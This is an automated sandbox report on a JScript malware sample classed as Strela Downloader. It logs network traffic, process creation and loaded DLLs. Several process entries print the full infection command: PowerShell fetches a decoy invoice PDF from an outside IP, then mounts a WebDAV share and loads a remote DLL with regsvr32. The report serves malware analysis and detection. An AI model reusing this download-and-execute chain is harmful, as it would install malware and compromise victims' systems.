Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.11:49713 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1319535489.0000020930386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1381824111.00000276A255B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1385166765.00000276A255D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1385084003.00000276A2537000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1382000433.00000276A2537000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1384968926.00000276A2508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1385084003.00000276A2537000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1382000433.00000276A2537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4
Source: svchost.exe, 00000009.00000002.2599067840.00000203BF000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000009.00000003.1384953427.00000203BED80000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7592, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 183262889860027833.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/56@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ebblipq3.wih.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183262889860027833.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1752,i,6687072143308074103,16853173319819469815,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\183351152124456.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1752,i,6687072143308074103,16853173319819469815,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
